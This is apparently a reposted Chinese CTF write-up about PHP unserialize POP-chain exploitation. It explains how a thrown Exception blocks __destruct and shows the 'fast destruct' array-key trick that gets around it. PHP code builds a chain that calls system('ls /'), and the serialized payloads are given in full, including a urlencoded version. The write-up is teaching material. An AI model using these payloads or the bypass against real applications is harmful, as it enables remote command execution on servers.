throw new Exception的绕过

原文链接:https://blog.csdn.net/2301_76690905/article/details/133995517

但是实际上不会成功回显,因为这里题目最后两行还有throw new Exception("How to Travel?");Fatal error: Uncaught Exception: How to Travel? in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 5,如何绕过throw Exception销毁对象从而调用destruct方法,否则你的序列化代码传不进去。在 PHP 中,反序列化生成的对象通常存储在变量 $a 中。如果没有外部干扰,这些对象要等到整个脚本执行结束才会销毁并触发 __destruct。但因为中间隔了一个 throw new Exception,脚本还没到自然结束的那一刻就“崩”了,导致析构函数里的代码没机会把结果发出来

我们要知道,销毁对象的过程通常称为垃圾回收(Garbage Collection)。PHP 的垃圾回收机制是自动的,会在对象不再被引用或无法访问时将其标记为垃圾,并最终回收内存。在对象被销毁时,如果定义了析构函数(即 __destruct() 魔术方法),则会自动调用该方法。

但是,当 PHP 脚本抛出异常并在异常处理过程中终止时,对象的销毁过程可能会受到影响。在这种情况下,PHP 不会自动销毁对象,也就无法调用对象的 __destruct() 方法。这种情况下,脚本的执行状态会从正常状态变为异常状态,并在异常处理过程中停止执行。

例如,在题目代码中,throw new Exception("How to Travel?"); 这行代码执行成功并抛出了异常(Fatal error)。在这些情况下,由于异常被抛出并导致脚本终止,$s 对象没有机会进行正常的销毁过程,因此 Start 类的 __destruct() 方法不会被触发。

在 PHP 中,垃圾回收机制是通过引用计数来实现的。当一个对象被创建时,它的引用计数为 1。每当有一个新的引用指向该对象时,引用计数就会增加 1。相反,当一个引用不再指向该对象时,引用计数就会减少 1。当对象的引用计数归零时,垃圾回收机制会将其标记为垃圾,并在适当的时候销毁对象。

在触发垃圾回收机制并销毁对象时,如果该对象定义了析构函数(即 __destruct() 方法),则会自动调用该方法。因此,在正常情况下,当对象的引用计数归零时,它会被销毁,并且 __destruct() 方法会被调用。

想要提前触发异常这里有三种方法:

1.使得数组对象为 NULL:当一个数组中的元素指向一个对象,而该数组被置为 NULL 时,会导致对象的引用计数减少。如果对象的引用计数归零,垃圾回收机制会将其标记为垃圾并销毁对象。同样地,如果对象定义了 __destruct() 方法,该方法也会被自动调用。

2.去掉序列化后最后一个中括号

3.修改属性数字

原来的payload:

$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
echo serialize($s);

生成的payload:
 O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

采用的第一种方法:

$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
$a=array($s,0);   //增加的一行
echo serialize($a);

生成的payload:
 a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}
 序列化过程中,第一个i:0; 表示第一个元素的键是整数 0(相当于a[0]),对应的值是对象 $s 的序列化结果。i:1; 表示第二个元素的键是整数 1(相当于a[1]),对应的值是整数 0 的序列化结果。我们把第二个i后面的值改为0

 a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}

因为当反序列化的时候第一层接受到的是一个包含两个元素的数组,该数组第一个元素是一个对象,其类名为 Start,第二个元素是一个整数(0),把第二个i后面的值改为0后,使得数组对象为空。异常在这一层就抛出来,而已经序列化成功的$s(就整个pop链)正常执行。

还有另一种方法来绕过:

$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
$ser=serialize($s);

// --- 关键:构造数组覆盖,绕过 Exception ---
// 我们创建一个 a:2 (两个元素的数组),两个 key 都是 i:0
$fast_destruct_payload = 'a:2:{i:0;' . $ser . ';i:0;i:0;}';

echo "--- 绕过 Exception 的 Payload ---\n";
echo urlencode($fast_destruct_payload)
posted @ 2026-06-18 16:08  Doll_Marker  阅读(7)  评论(0)    收藏  举报